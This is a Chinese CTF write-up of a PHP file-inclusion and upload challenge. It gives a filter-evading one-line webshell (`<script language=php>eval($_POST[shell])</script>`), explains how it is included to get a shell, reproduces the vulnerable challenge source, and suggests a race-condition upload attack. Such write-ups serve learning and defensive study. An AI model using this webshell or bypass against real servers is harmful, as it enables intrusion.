标签:测试 header 没有 files 字段 replace set 情况下 不可
没有描述
文件包含题目大多都是php环境的,
所以先试试伪协议
发现php://
被ban了
继续尝试,发现file://
协议能用,但找了一下没有找到使用file://
进行getshell或者读取源码的姿势
除此之外没有什么收获
用御剑扫一扫
发现文件上传页面,经过测试,这里检测了后缀名和Content-Type
字段
上传一句话shell
发现被过滤了<?php
和?>
,只好寻找其他小马
找到一个<script language=php>eval($_POST[shell])</script>
是可行的
这个一句话shell是一个script标签,利用language属性可以指定脚本语言的特性,调用php解释器,运行php代码
蚁剑连接,拿flag
然后我顺手把两个页面的源码copy下来了
index.php
<?php
if(!isset($_GET[‘file‘]))
{
header(‘Location: ./index.php?file=hello.php‘);
exit();
}
@$file = $_GET["file"];
if(isset($file))
{
if (preg_match(‘/php:\/\/|http|data|ftp|input|%00/i‘, $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
{
echo "<h1>NAIVE!!!</h1>";
}
else
{
include($file);
}
}
?>
可以看到
php://, http, data, ftp, input, %00和..
file
参数长度小与70upload.php
<?php
//error_reporting(0);
if(!empty($_FILES["file"]))
{
$allowedExts = array("gif", "jpeg", "jpg", "png");
@$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
|| (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
|| (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
&& (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
{
$filename = date(‘Ymdhis‘).rand(1000, 9999).‘.‘.$extension;
if(move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename)){
$url="upload/".$filename;
$content = file_get_contents($url);
$content = preg_replace(‘/<\?php|\?>/i‘, ‘_‘, $content);
file_put_contents(‘upload/‘.$filename, $content);
echo "file upload successful!Save in: " . "upload/" . $filename;
}else{
echo "upload failed!";
}
}
else
{
echo "upload failed! allow only jpg,png,gif,jpep";
}
}
?>
可以看到
Contet-Type
只能是gif, jpeg, jpg, pjpeg, x-png, png
中的一个gif, jpeg, jpg, png
中的一个而且filename
是不可控的<?php
和?>
替换成了_
因为这里的文件内容替换是在保存之后进行的,如果在文件名可控的情况下,可以进行竞争getshell,即在更改文件内容之前getshell。
https://www.freebuf.com/column/148886.html
https://www.cnblogs.com/0yst3r-2046/p/11125806.html
标签:测试 header 没有 files 字段 replace set 情况下 不可
原文地址:https://www.cnblogs.com/R3col/p/13171182.html